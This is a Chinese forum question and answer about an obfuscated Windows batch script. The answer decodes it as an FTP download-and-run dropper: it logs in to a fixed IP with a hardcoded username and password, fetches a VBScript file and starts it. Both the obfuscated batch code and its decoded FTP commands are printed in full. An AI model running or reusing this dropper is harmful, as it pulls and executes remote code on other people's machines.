set f=o 221.231.13
echo %a%%f%8.33^>z>c
echo %a%tw520^>^>z>>c
echo %a%123123^>^>z>>c
echo %a%get c.vbe d.vbe^>^>z>>c
echo %a%by^>^>z>>c
set g=.co
echo %b%%s%s:z>>c
echo %o%rt d.vbe>>c
set s= -
set b=ftp
set a=echo 
ren c y.bat
set o=sta
y

------解决方案--------------------
就不能自己动手弄下，大小写转换，&分行，获取echo生成的c，变量替换，有人就喜欢这样绕来绕去
%comspec% /c

set f=o 221.231.13
echo %a%%f%8.33^>z>c
echo %a%tw520^>^>z>>c
echo %a%123123^>^>z>>c
echo %a%get c.vbe d.vbe^>^>z>>c
echo %a%by^>^>z>>c
set g=.co
echo %b%%s%s:z>>c
echo %o%rt d.vbe>>c

set s=-
set b=ftp
set a=echo  
ren c y.bat
set o=sta
y

生成z文件，还就是ftp脚本
o 221.231.138.33
tw520
123123
get c.vbe d.vbe
by

调用z文件做事
ftp-s:z
start d.vbe

"^>Z>C 是什么意思"，这个用于echo输出，echo xxx >x，不是重定向到x了，如重定向内容中有>就得加转义符